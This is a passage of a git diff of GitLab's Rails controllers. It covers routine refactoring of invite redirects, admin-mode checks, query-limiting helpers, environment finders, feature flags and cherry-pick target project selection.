- redirect_params = member ? { invite_email: member.invite_email } : {}
+ if user_sign_up?
+ redirect_to new_user_registration_path(invite_email: member.invite_email), notice: _("To accept this invitation, create an account or sign in.")
+ else
+ redirect_to new_user_session_path(sign_in_redirect_params), notice: sign_in_notice
+ end
+ end
- store_location_for :user, request.fullpath
+ def sign_in_redirect_params
+ member ? { invite_email: member.invite_email } : {}
+ end
+
+ def user_sign_up?
+ Gitlab::CurrentSettings.allow_signup? && member && !User.find_by_any_email(member.invite_email)
+ end
- redirect_to new_user_session_path(redirect_params), notice: notice
+ def sign_in_notice
+ if Gitlab::CurrentSettings.allow_signup?
+ _("To accept this invitation, sign in or create an account.")
+ else
+ _("To accept this invitation, sign in.")
+ end
end
def invite_details
diff --git a/app/controllers/ldap/omniauth_callbacks_controller.rb b/app/controllers/ldap/omniauth_callbacks_controller.rb
index 4b6339c21cd..ebc35448964 100644
--- a/app/controllers/ldap/omniauth_callbacks_controller.rb
+++ b/app/controllers/ldap/omniauth_callbacks_controller.rb
@@ -16,7 +16,7 @@ class Ldap::OmniauthCallbacksController < OmniauthCallbacksController
def ldap
return unless Gitlab::Auth::Ldap::Config.sign_in_enabled?
- if Feature.enabled?(:user_mode_in_session)
+ if Gitlab::CurrentSettings.admin_mode
return admin_mode_flow(Gitlab::Auth::Ldap::User) if current_user_mode.admin_mode_requested?
end
diff --git a/app/controllers/omniauth_callbacks_controller.rb b/app/controllers/omniauth_callbacks_controller.rb
index c9791703413..af502c083d7 100644
--- a/app/controllers/omniauth_callbacks_controller.rb
+++ b/app/controllers/omniauth_callbacks_controller.rb
@@ -95,7 +95,7 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
end
def after_omniauth_failure_path_for(scope)
- if Feature.enabled?(:user_mode_in_session)
+ if Gitlab::CurrentSettings.admin_mode
return new_admin_session_path if current_user_mode.admin_mode_requested?
end
@@ -112,7 +112,7 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
log_audit_event(current_user, with: oauth['provider'])
- if Feature.enabled?(:user_mode_in_session)
+ if Gitlab::CurrentSettings.admin_mode
return admin_mode_flow(auth_module::User) if current_user_mode.admin_mode_requested?
end
diff --git a/app/controllers/profiles/notifications_controller.rb b/app/controllers/profiles/notifications_controller.rb
index 0a73239709a..6ef0ed6d365 100644
--- a/app/controllers/profiles/notifications_controller.rb
+++ b/app/controllers/profiles/notifications_controller.rb
@@ -3,18 +3,13 @@
class Profiles::NotificationsController < Profiles::ApplicationController
feature_category :users
- # rubocop: disable CodeReuse/ActiveRecord
def show
@user = current_user
@user_groups = user_groups
@group_notifications = UserGroupNotificationSettingsFinder.new(current_user, user_groups).execute
-
- @project_notifications = current_user.notification_settings.for_projects.order(:id)
- .preload_source_route
- .select { |notification| current_user.can?(:read_project, notification.source) }
+ @project_notifications = project_notifications_with_preloaded_associations
@global_notification_setting = current_user.global_notification_setting
end
- # rubocop: enable CodeReuse/ActiveRecord
def update
result = Users::UpdateService.new(current_user, user_params.merge(user: current_user)).execute
@@ -37,4 +32,20 @@ class Profiles::NotificationsController < Profiles::ApplicationController
def user_groups
GroupsFinder.new(current_user, all_available: false).execute.order_name_asc.page(params[:page])
end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def project_notifications_with_preloaded_associations
+ project_notifications = current_user
+ .notification_settings
+ .for_projects
+ .order_by_id_asc
+ .preload_source_route
+
+ projects = project_notifications.map(&:source)
+ ActiveRecord::Associations::Preloader.new.preload(projects, { namespace: [:route, :owner], group: [] })
+ Preloaders::UserMaxAccessLevelInProjectsPreloader.new(projects, current_user).execute
+
+ project_notifications.select { |notification| current_user.can?(:read_project, notification.source) }
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/app/controllers/projects/blame_controller.rb b/app/controllers/projects/blame_controller.rb
index d5de0d38152..2c7c49b4250 100644
--- a/app/controllers/projects/blame_controller.rb
+++ b/app/controllers/projects/blame_controller.rb
@@ -20,7 +20,7 @@ class Projects::BlameController < Projects::ApplicationController
environment_params = @repository.branch_exists?(@ref) ? { ref: @ref } : { commit: @commit }
environment_params[:find_latest] = true
- @environment = EnvironmentsFinder.new(@project, current_user, environment_params).execute.last
+ @environment = EnvironmentsByDeploymentsFinder.new(@project, current_user, environment_params).execute.last
@blame = Gitlab::Blame.new(@blob, @commit)
@blame = Gitlab::View::Presenter::Factory.new(@blame, project: @project, path: @path).fabricate!
diff --git a/app/controllers/projects/blob_controller.rb b/app/controllers/projects/blob_controller.rb
index 0080ae1a5be..a398fc56a35 100644
--- a/app/controllers/projects/blob_controller.rb
+++ b/app/controllers/projects/blob_controller.rb
@@ -214,7 +214,7 @@ class Projects::BlobController < Projects::ApplicationController
def show_html
environment_params = @repository.branch_exists?(@ref) ? { ref: @ref } : { commit: @commit }
environment_params[:find_latest] = true
- @environment = EnvironmentsFinder.new(@project, current_user, environment_params).execute.last
+ @environment = EnvironmentsByDeploymentsFinder.new(@project, current_user, environment_params).execute.last
@last_commit = @repository.last_commit_for_path(@commit.id, @blob.path, literal_pathspec: true)
@code_navigation_path = Gitlab::CodeNavigationPath.new(@project, @blob.commit_id).full_json_path_for(@blob.path)
diff --git a/app/controllers/projects/boards_controller.rb b/app/controllers/projects/boards_controller.rb
index 418f2ee1592..349649c7b35 100644
--- a/app/controllers/projects/boards_controller.rb
+++ b/app/controllers/projects/boards_controller.rb
@@ -8,7 +8,8 @@ class Projects::BoardsController < Projects::ApplicationController
before_action :authorize_read_board!, only: [:index, :show]
before_action :assign_endpoint_vars
before_action do
- push_frontend_feature_flag(:add_issues_button)
+ push_frontend_feature_flag(:swimlanes_buffered_rendering, project, default_enabled: :yaml)
+ push_frontend_feature_flag(:graphql_board_lists, project, default_enabled: :yaml)
end
feature_category :boards
diff --git a/app/controllers/projects/branches_controller.rb b/app/controllers/projects/branches_controller.rb
index 6f3c96fa654..f522dffdf3e 100644
--- a/app/controllers/projects/branches_controller.rb
+++ b/app/controllers/projects/branches_controller.rb
@@ -49,7 +49,7 @@ class Projects::BranchesController < Projects::ApplicationController
branches = BranchesFinder.new(repository, params.permit(names: [])).execute
Gitlab::GitalyClient.allow_n_plus_1_calls do
- render json: branches.map { |branch| [branch.name, service.call(branch)] }.to_h
+ render json: branches.to_h { |branch| [branch.name, service.call(branch)] }
end
end
end
diff --git a/app/controllers/projects/ci/pipeline_editor_controller.rb b/app/controllers/projects/ci/pipeline_editor_controller.rb
index 4d491b33aa0..754e2ccf4f9 100644
--- a/app/controllers/projects/ci/pipeline_editor_controller.rb
+++ b/app/controllers/projects/ci/pipeline_editor_controller.rb
@@ -7,6 +7,7 @@ class Projects::Ci::PipelineEditorController < Projects::ApplicationController
push_frontend_feature_flag(:ci_config_merged_tab, @project, default_enabled: :yaml)
push_frontend_feature_flag(:pipeline_status_for_pipeline_editor, @project, default_enabled: :yaml)
push_frontend_feature_flag(:pipeline_editor_empty_state_action, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:pipeline_editor_branch_switcher, @project, default_enabled: :yaml)
end
feature_category :pipeline_authoring
diff --git a/app/controllers/projects/clusters/integrations_controller.rb b/app/controllers/projects/clusters/integrations_controller.rb
new file mode 100644
index 00000000000..94b8dd653e6
--- /dev/null
+++ b/app/controllers/projects/clusters/integrations_controller.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class Projects::Clusters::IntegrationsController < ::Clusters::IntegrationsController
+ prepend_before_action :project
+
+ private
+
+ def clusterable
+ @clusterable ||= ClusterablePresenter.fabricate(project, current_user: current_user)
+ end
+
+ def project
+ @project ||= find_routable!(Project, File.join(params[:namespace_id], params[:project_id]))
+ end
+end
diff --git a/app/controllers/projects/commit_controller.rb b/app/controllers/projects/commit_controller.rb
index 8154128da29..0c3ff07bc76 100644
--- a/app/controllers/projects/commit_controller.rb
+++ b/app/controllers/projects/commit_controller.rb
@@ -19,13 +19,8 @@ class Projects::CommitController < Projects::ApplicationController
before_action :define_commit_box_vars, only: [:show, :pipelines]
before_action :define_note_vars, only: [:show, :diff_for_path, :diff_files]
before_action :authorize_edit_tree!, only: [:revert, :cherry_pick]
-
- before_action only: [:show, :pipelines] do
- push_frontend_feature_flag(:ci_commit_pipeline_mini_graph_vue, @project, default_enabled: :yaml)
- end
-
before_action do
- push_frontend_feature_flag(:pick_into_project)
+ push_frontend_feature_flag(:pick_into_project, @project, default_enabled: :yaml)
end
BRANCH_SEARCH_LIMIT = 1000
@@ -59,8 +54,6 @@ class Projects::CommitController < Projects::ApplicationController
# rubocop: disable CodeReuse/ActiveRecord
def pipelines
- set_pipeline_feature_flag
-
@pipelines = @commit.pipelines.order(id: :desc)
@pipelines = @pipelines.where(ref: params[:ref]).page(params[:page]).per(30) if params[:ref]
@@ -119,7 +112,7 @@ class Projects::CommitController < Projects::ApplicationController
@branch_name = create_new_branch? ? @commit.revert_branch_name : @start_branch
create_commit(Commits::RevertService, success_notice: "The #{@commit.change_type_title(current_user)} has been successfully reverted.",
- success_path: -> { successful_change_path }, failure_path: failed_change_path)
+ success_path: -> { successful_change_path(@project) }, failure_path: failed_change_path)
end
def cherry_pick
@@ -127,24 +120,25 @@ class Projects::CommitController < Projects::ApplicationController
return render_404 if @start_branch.blank?
+ target_project = find_cherry_pick_target_project
+ return render_404 unless target_project
+
@branch_name = create_new_branch? ? @commit.cherry_pick_branch_name : @start_branch
create_commit(Commits::CherryPickService, success_notice: "The #{@commit.change_type_title(current_user)} has been successfully cherry-picked into #{@branch_name}.",
- success_path: -> { successful_change_path }, failure_path: failed_change_path)
+ success_path: -> { successful_change_path(target_project) },
+ failure_path: failed_change_path,
+ target_project: target_project)
end
private
- def set_pipeline_feature_flag
- push_frontend_feature_flag(:new_pipelines_table, @project, default_enabled: :yaml)
- end
-
def create_new_branch?
params[:create_merge_request].present? || !can?(current_user, :push_code, @project)
end
- def successful_change_path
- referenced_merge_request_url || project_commits_url(@project, @branch_name)
+ def successful_change_path(target_project)
+ referenced_merge_request_url || project_commits_url(target_project, @branch_name)
end
def failed_change_path
@@ -173,7 +167,7 @@ class Projects::CommitController < Projects::ApplicationController
@diffs = commit.diffs(opts)
@notes_count = commit.notes.count
- @environment = EnvironmentsFinder.new(@project, current_user, commit: @commit, find_latest: true).execute.last
+ @environment = EnvironmentsByDeploymentsFinder.new(@project, current_user, commit: @commit, find_latest: true).execute.last
end
# rubocop: disable CodeReuse/ActiveRecord
@@ -214,7 +208,6 @@ class Projects::CommitController < Projects::ApplicationController
def define_commit_box_vars
@last_pipeline = @commit.last_pipeline
- return unless ::Gitlab::Ci::Features.ci_commit_pipeline_mini_graph_vue_enabled?(@project)
return unless @commit.last_pipeline
@last_pipeline_stages = StageSerializer.new(project: @project, current_user: @current_user).represent(@last_pipeline.stages)
@@ -224,4 +217,14 @@ class Projects::CommitController < Projects::ApplicationController
@start_branch = params[:start_branch]
@commit_params = { commit: @commit }
end
+
+ def find_cherry_pick_target_project
+ return @project if params[:target_project_id].blank?
+ return @project unless Feature.enabled?(:pick_into_project, @project, default_enabled: :yaml)
+
+ MergeRequestTargetProjectFinder
+ .new(current_user: current_user, source_project: @project, project_feature: :repository)
+ .execute
+ .find_by_id(params[:target_project_id])
+ end
end
diff --git a/app/controllers/projects/commits_controller.rb b/app/controllers/projects/commits_controller.rb
index d267ab732f9..9ca917841e9 100644
--- a/app/controllers/projects/commits_controller.rb
+++ b/app/controllers/projects/commits_controller.rb
@@ -8,7 +8,6 @@ class Projects::CommitsController < Projects::ApplicationController
prepend_before_action(only: [:show]) { authenticate_sessionless_user!(:rss) }
around_action :allow_gitaly_ref_name_caching
- before_action :whitelist_query_limiting, except: :commits_root
before_action :require_non_empty_project
before_action :assign_ref_vars, except: :commits_root
before_action :authorize_download_code!
@@ -64,7 +63,8 @@ class Projects::CommitsController < Projects::ApplicationController
def set_commits
render_404 unless @path.empty? || request.format == :atom || @repository.blob_at(@commit.id, @path) || @repository.tree(@commit.id, @path).entries.present?
- @limit, @offset = (params[:limit] || 40).to_i, (params[:offset] || 0).to_i
+ @limit = (params[:limit] || 40).to_i
+ @offset = (params[:offset] || 0).to_i
search = params[:search]
author = params[:author]
@@ -82,8 +82,4 @@ class Projects::CommitsController < Projects::ApplicationController
@commits = @commits.with_latest_pipeline(@ref)
@commits = set_commits_for_rendering(@commits)
end
-
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42330')
- end
end
diff --git a/app/controllers/projects/compare_controller.rb b/app/controllers/projects/compare_controller.rb
index 81f80d37662..221bc16e256 100644
--- a/app/controllers/projects/compare_controller.rb
+++ b/app/controllers/projects/compare_controller.rb
@@ -132,7 +132,7 @@ class Projects::CompareController < Projects::ApplicationController
if compare
environment_params = source_project.repository.branch_exists?(head_ref) ? { ref: head_ref } : { commit: compare.commit }
environment_params[:find_latest] = true
- @environment = EnvironmentsFinder.new(source_project, current_user, environment_params).execute.last
+ @environment = EnvironmentsByDeploymentsFinder.new(source_project, current_user, environment_params).execute.last
end
end
diff --git a/app/controllers/projects/forks_controller.rb b/app/controllers/projects/forks_controller.rb
index 33f046f414f..9fc8e8c063b 100644
--- a/app/controllers/projects/forks_controller.rb
+++ b/app/controllers/projects/forks_controller.rb
@@ -7,7 +7,7 @@ class Projects::ForksController < Projects::ApplicationController
include Gitlab::Utils::StrongMemoize
# Authorize
- before_action :whitelist_query_limiting, only: [:create]
+ before_action :disable_query_limiting, only: [:create]
before_action :require_non_empty_project
before_action :authorize_download_code!
before_action :authenticate_user!, only: [:new, :create]
@@ -44,13 +44,17 @@ class Projects::ForksController < Projects::ApplicationController
def new
respond_to do |format|
format.html do
- @own_namespace = current_user.namespace if fork_service.valid_fork_targets.include?(current_user.namespace)
+ @own_namespace = current_user.namespace if can_fork_to?(current_user.namespace)
@project = project
end
format.json do
namespaces = load_namespaces_with_associations - [project.namespace]
+ namespaces = [current_user.namespace] + namespaces if
+ Feature.enabled?(:fork_project_form, project, default_enabled: :yaml) &&
+ can_fork_to?(current_user.namespace)
+
render json: {
namespaces: ForkNamespaceSerializer.new.represent(namespaces, project: project, current_user: current_user, memberships: memberships_hash)
}
@@ -78,6 +82,10 @@ class Projects::ForksController < Projects::ApplicationController
private
+ def can_fork_to?(namespace)
+ ForkTargetsFinder.new(@project, current_user).execute.id_in(current_user.namespace).any?
+ end
+
def load_forks
forks = ForkProjectsFinder.new(
project,
@@ -110,8 +118,8 @@ class Projects::ForksController < Projects::ApplicationController
access_denied! unless fork_namespace && fork_service.valid_fork_target?
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42335')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20783')
end
def load_namespaces_with_associations
diff --git a/app/controllers/projects/issues_controller.rb b/app/controllers/projects/issues_controller.rb
index c454ae6eaf4..cae5cc411bc 100644
--- a/app/controllers/projects/issues_controller.rb
+++ b/app/controllers/projects/issues_controller.rb
@@ -18,7 +18,7 @@ class Projects::IssuesController < Projects::ApplicationController
prepend_before_action :authenticate_user!, only: [:new, :export_csv]
prepend_before_action :store_uri, only: [:new, :show, :designs]
- before_action :whitelist_query_limiting, only: [:create, :create_merge_request, :move, :bulk_update]
+ before_action :disable_query_limiting, only: [:create_merge_request, :move, :bulk_update]
before_action :check_issues_available!
before_action :issue, unless: ->(c) { ISSUES_EXCEPT_ACTIONS.include?(c.action_name.to_sym) }
after_action :log_issue_show, unless: ->(c) { ISSUES_EXCEPT_ACTIONS.include?(c.action_name.to_sym) }
@@ -45,6 +45,7 @@ class Projects::IssuesController < Projects::ApplicationController
push_frontend_feature_flag(:vue_issuables_list, project)
push_frontend_feature_flag(:usage_data_design_action, project, default_enabled: true)
push_frontend_feature_flag(:improved_emoji_picker, project, default_enabled: :yaml)
+ push_frontend_feature_flag(:vue_issues_list, project)
end
before_action only: :show do
@@ -53,15 +54,22 @@ class Projects::IssuesController < Projects::ApplicationController
push_to_gon_attributes(:features, real_time_feature_flag, real_time_enabled)
push_frontend_feature_flag(:confidential_notes, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:issue_assignees_widget, @project, default_enabled: :yaml)
record_experiment_user(:invite_members_version_b)
+
+ experiment(:invite_members_in_comment, namespace: @project.root_ancestor) do |experiment_instance|
+ experiment_instance.exclude! unless helpers.can_import_members?
+
+ experiment_instance.use {}
+ experiment_instance.try(:invite_member_link) {}
+
+ experiment_instance.track(:view, property: @project.root_ancestor.id.to_s)
+ end
end
around_action :allow_gitaly_ref_name_caching, only: [:discussions]
- before_action :run_null_hypothesis_experiment,
- only: [:index, :new, :create]
-
respond_to :html
alias_method :designs, :show
@@ -344,13 +352,13 @@ class Projects::IssuesController < Projects::ApplicationController
IssuesFinder
end
- def whitelist_query_limiting
+ def disable_query_limiting
# Also see the following issues:
#
- # 1. https://gitlab.com/gitlab-org/gitlab-foss/issues/42423
- # 2. https://gitlab.com/gitlab-org/gitlab-foss/issues/42424
- # 3. https://gitlab.com/gitlab-org/gitlab-foss/issues/42426
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42422')
+ # 1. https://gitlab.com/gitlab-org/gitlab/-/issues/20815
+ # 2. https://gitlab.com/gitlab-org/gitlab/-/issues/20816
+ # 3. https://gitlab.com/gitlab-org/gitlab/-/issues/21068
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20814')
end
private
@@ -390,14 +398,6 @@ class Projects::IssuesController < Projects::ApplicationController
action_name == 'service_desk'
end
- def run_null_hypothesis_experiment
- experiment(:null_hypothesis, project: project) do |e|
- e.use { } # define the control
- e.try { } # define the candidate
- e.track(action_name) # track the action so we can build a funnel
- end
- end
-
# Overridden in EE
def create_vulnerability_issue_feedback(issue); end
end
diff --git a/app/controllers/projects/jobs_controller.rb b/app/controllers/projects/jobs_controller.rb
index f19a86209fc..92442fd4e28 100644
--- a/app/controllers/projects/jobs_controller.rb
+++ b/app/controllers/projects/jobs_controller.rb
@@ -15,6 +15,7 @@ class Projects::JobsController < Projects::ApplicationController
before_action :verify_api_request!, only: :terminal_websocket_authorize
before_action :authorize_create_proxy_build!, only: :proxy_websocket_authorize
before_action :verify_proxy_request!, only: :proxy_websocket_authorize
+ before_action :push_jobs_table_vue, only: [:index]
layout 'project'
@@ -256,4 +257,8 @@ class Projects::JobsController < Projects::ApplicationController
::Gitlab::Workhorse.channel_websocket(service)
end
+
+ def push_jobs_table_vue
+ push_frontend_feature_flag(:jobs_table_vue, @project, default_enabled: :yaml)
+ end
end
diff --git a/app/controllers/projects/labels_controller.rb b/app/controllers/projects/labels_controller.rb
index 3992165d07c..6bf3885fb7a 100644
--- a/app/controllers/projects/labels_controller.rb
+++ b/app/controllers/projects/labels_controller.rb
@@ -17,11 +17,14 @@ class Projects::LabelsController < Projects::ApplicationController
feature_category :issue_tracking
def index
- @prioritized_labels = @available_labels.prioritized(@project)
- @labels = @available_labels.unprioritized(@project).page(params[:page])
-
respond_to do |format|
- format.html
+ format.html do
+ @prioritized_labels = @available_labels.prioritized(@project)
+ @labels = @available_labels.unprioritized(@project).page(params[:page])
+ # preload group, project, and subscription data
+ Preloaders::LabelsPreloader.new(@prioritized_labels, current_user, @project).preload_all
+ Preloaders::LabelsPreloader.new(@labels, current_user, @project).preload_all
+ end
format.json do
render json: LabelSerializer.new.represent_appearance(@available_labels)
end
diff --git a/app/controllers/projects/logs_controller.rb b/app/controllers/projects/logs_controller.rb
index b9aa9bfc947..f9b8091a419 100644
--- a/app/controllers/projects/logs_controller.rb
+++ b/app/controllers/projects/logs_controller.rb
@@ -58,7 +58,7 @@ module Projects
def environment
strong_memoize(:environment) do
if cluster_params.key?(:environment_name)
- EnvironmentsFinder.new(project, current_user, name: cluster_params[:environment_name]).find.first
+ EnvironmentsFinder.new(project, current_user, name: cluster_params[:environment_name]).execute.first
else
project.default_environment
end
diff --git a/app/controllers/projects/merge_requests/content_controller.rb b/app/controllers/projects/merge_requests/content_controller.rb
index 399745151b1..dfc060c9204 100644
--- a/app/controllers/projects/merge_requests/content_controller.rb
+++ b/app/controllers/projects/merge_requests/content_controller.rb
@@ -14,6 +14,8 @@ class Projects::MergeRequests::ContentController < Projects::MergeRequests::Appl
SLOW_POLLING_INTERVAL = 5.minutes.in_milliseconds
def widget
+ check_mergeability_async!
+
respond_to do |format|
format.json do
render json: serializer(MergeRequestPollWidgetEntity)
@@ -38,6 +40,13 @@ class Projects::MergeRequests::ContentController < Projects::MergeRequests::Appl
def serializer(entity)
serializer = MergeRequestSerializer.new(current_user: current_user, project: merge_request.project)
- serializer.represent(merge_request, {}, entity)
+ serializer.represent(merge_request, { async_mergeability_check: params[:async_mergeability_check] }, entity)
+ end
+
+ def check_mergeability_async!
+ return unless Feature.enabled?(:check_mergeability_async_in_widget, merge_request.project, default_enabled: :yaml)
+ return if params[:async_mergeability_check].blank?
+
+ merge_request.check_mergeability(async: true)
end
end
diff --git a/app/controllers/projects/merge_requests/creations_controller.rb b/app/controllers/projects/merge_requests/creations_controller.rb
index e79c19c3b67..dc77b5e09c8 100644
--- a/app/controllers/projects/merge_requests/creations_controller.rb
+++ b/app/controllers/projects/merge_requests/creations_controller.rb
@@ -6,7 +6,6 @@ class Projects::MergeRequests::CreationsController < Projects::MergeRequests::Ap
include RendersCommits
skip_before_action :merge_request
- before_action :whitelist_query_limiting, only: [:create]
before_action :authorize_create_merge_request_from!
before_action :apply_diff_view_cookie!, only: [:diffs, :diff_for_path]
before_action :build_merge_request, except: [:create]
@@ -122,24 +121,24 @@ class Projects::MergeRequests::CreationsController < Projects::MergeRequests::Ap
# rubocop: disable CodeReuse/ActiveRecord
def selected_target_project
- if @project.id.to_s == params[:target_project_id] || !@project.forked?
- @project
- elsif params[:target_project_id].present?
+ return @project unless @project.forked?
+
+ if params[:target_project_id].present?
+ return @project if @project.id.to_s == params[:target_project_id]
+
MergeRequestTargetProjectFinder.new(current_user: current_user, source_project: @project)
.find_by(id: params[:target_project_id])
else
- @project.forked_from_project
+ @project.default_merge_request_target
end
end
# rubocop: enable CodeReuse/ActiveRecord
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42384')
- end
-
def incr_count_webide_merge_request
return if params[:nav_source] != 'webide'
Gitlab::UsageDataCounters::WebIdeCounter.increment_merge_requests_count
end
end
+
+Projects::MergeRequests::CreationsController.prepend_ee_mod
diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb
index 2c6d5f62b4e..4e409b5f28f 100644
--- a/app/controllers/projects/merge_requests_controller.rb
+++ b/app/controllers/projects/merge_requests_controller.rb
@@ -14,7 +14,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
skip_before_action :merge_request, only: [:index, :bulk_update, :export_csv]
before_action :apply_diff_view_cookie!, only: [:show]
- before_action :whitelist_query_limiting, only: [:assign_related_issues, :update]
+ before_action :disable_query_limiting, only: [:assign_related_issues, :update]
before_action :authorize_update_issuable!, only: [:close, :edit, :update, :remove_wip, :sort]
before_action :authorize_read_actual_head_pipeline!, only: [
:test_reports,
@@ -30,21 +30,32 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
before_action :check_user_can_push_to_source_branch!, only: [:rebase]
before_action only: [:show] do
push_frontend_feature_flag(:file_identifier_hash)
- push_frontend_feature_flag(:batch_suggestions, @project, default_enabled: true)
push_frontend_feature_flag(:approvals_commented_by, @project, default_enabled: true)
push_frontend_feature_flag(:merge_request_widget_graphql, @project, default_enabled: :yaml)
push_frontend_feature_flag(:drag_comment_selection, @project, default_enabled: true)
push_frontend_feature_flag(:unified_diff_components, @project, default_enabled: true)
push_frontend_feature_flag(:default_merge_ref_for_diffs, @project, default_enabled: :yaml)
push_frontend_feature_flag(:core_security_mr_widget_counts, @project)
- push_frontend_feature_flag(:remove_resolve_note, @project, default_enabled: true)
push_frontend_feature_flag(:diffs_gradual_load, @project, default_enabled: true)
- push_frontend_feature_flag(:codequality_backend_comparison, @project, default_enabled: :yaml)
push_frontend_feature_flag(:local_file_reviews, default_enabled: :yaml)
push_frontend_feature_flag(:paginated_notes, @project, default_enabled: :yaml)
- push_frontend_feature_flag(:new_pipelines_table, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:confidential_notes, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:usage_data_i_testing_summary_widget_total, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:improved_emoji_picker, project, default_enabled: :yaml)
+
+ # Usage data feature flags
+ push_frontend_feature_flag(:users_expanding_widgets_usage_data, @project, default_enabled: :yaml)
record_experiment_user(:invite_members_version_b)
+
+ experiment(:invite_members_in_comment, namespace: @project.root_ancestor) do |experiment_instance|
+ experiment_instance.exclude! unless helpers.can_import_members?
+
+ experiment_instance.use {}
+ experiment_instance.try(:invite_member_link) {}
+
+ experiment_instance.track(:view, property: @project.root_ancestor.id.to_s)
+ end
end
before_action do
@@ -57,16 +68,19 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
feature_category :code_review, [
:assign_related_issues, :bulk_update, :cancel_auto_merge,
- :ci_environments_status, :commit_change_content, :commits,
- :context_commits, :destroy, :diff_for_path, :discussions,
- :edit, :exposed_artifacts, :index, :merge,
- :pipeline_status, :pipelines, :rebase, :remove_wip, :show,
- :toggle_award_emoji, :toggle_subscription, :update
+ :commit_change_content, :commits, :context_commits, :destroy,
+ :discussions, :edit, :index, :merge, :rebase, :remove_wip,
+ :show, :toggle_award_emoji, :toggle_subscription, :update
+ ]
+
+ feature_category :code_testing, [
+ :test_reports, :coverage_reports, :codequality_reports,
+ :codequality_mr_diff_reports
]
- feature_category :code_testing, [:test_reports, :coverage_reports, :codequality_mr_diff_reports]
feature_category :accessibility_testing, [:accessibility_reports]
feature_category :infrastructure_as_code, [:terraform_reports]
+ feature_category :continuous_integration, [:pipeline_status, :pipelines, :exposed_artifacts]
def index
@merge_requests = @issuables
@@ -83,7 +97,10 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
def show
close_merge_request_if_no_source_project
- @merge_request.check_mergeability(async: true)
+
+ if Feature.disabled?(:check_mergeability_async_in_widget, @project, default_enabled: :yaml)
+ @merge_request.check_mergeability(async: true)
+ end
respond_to do |format|
format.html do
@@ -102,6 +119,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
@show_whitespace_default = current_user.nil? || current_user.show_whitespace_in_diffs
@file_by_file_default = current_user&.view_diffs_file_by_file
@coverage_path = coverage_reports_project_merge_request_path(@project, @merge_request, format: :json) if @merge_request.has_coverage_reports?
+ @update_current_user_path = expose_path(api_v4_user_preferences_path)
@endpoint_metadata_url = endpoint_metadata_url(@project, @merge_request)
set_pipeline_variables
@@ -459,9 +477,9 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
access_denied! unless @merge_request.can_be_merged_by?(current_user)
end
- def whitelist_query_limiting
- # Also see https://gitlab.com/gitlab-org/gitlab-foss/issues/42441
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42438')
+ def disable_query_limiting
+ # Also see https://gitlab.com/gitlab-org/gitlab/-/issues/20827
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20824')
end
def reports_response(report_comparison, pipeline = nil)
diff --git a/app/controllers/projects/network_controller.rb b/app/controllers/projects/network_controller.rb
index 89b679fc033..f3a7bc7913e 100644
--- a/app/controllers/projects/network_controller.rb
+++ b/app/controllers/projects/network_controller.rb
@@ -4,7 +4,6 @@ class Projects::NetworkController < Projects::ApplicationController
include ExtractsPath
include ApplicationHelper
- before_action :whitelist_query_limiting
before_action :require_non_empty_project
before_action :assign_ref_vars
before_action :authorize_download_code!
@@ -41,8 +40,4 @@ class Projects::NetworkController < Projects::ApplicationController
@commit = @repo.commit(@options[:extended_sha1])
end
-
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42333')
- end
end
diff --git a/app/controllers/projects/notes_controller.rb b/app/controllers/projects/notes_controller.rb
index 77fd7688caf..e7e6aed8ec8 100644
--- a/app/controllers/projects/notes_controller.rb
+++ b/app/controllers/projects/notes_controller.rb
@@ -6,7 +6,7 @@ class Projects::NotesController < Projects::ApplicationController
include NotesHelper
include ToggleAwardEmoji
- before_action :whitelist_query_limiting, only: [:create, :update]
+ before_action :disable_query_limiting, only: [:create, :update]
before_action :authorize_read_note!
before_action :authorize_create_note!, only: [:create]
before_action :authorize_resolve_note!, only: [:resolve, :unresolve]
@@ -87,7 +87,7 @@ class Projects::NotesController < Projects::ApplicationController
access_denied! unless can?(current_user, :create_note, noteable)
end
- def whitelist_query_limiting
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42383')
+ def disable_query_limiting
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20800')
end
end
diff --git a/app/controllers/projects/packages/infrastructure_registry_controller.rb b/app/controllers/projects/packages/infrastructure_registry_controller.rb
new file mode 100644
index 00000000000..22ae1d65013
--- /dev/null
+++ b/app/controllers/projects/packages/infrastructure_registry_controller.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Projects
+ module Packages
+ class InfrastructureRegistryController < Projects::ApplicationController
+ feature_category :infrastructure_as_code
+ end
+ end
+end
diff --git a/app/controllers/projects/pipelines_controller.rb b/app/controllers/projects/pipelines_controller.rb
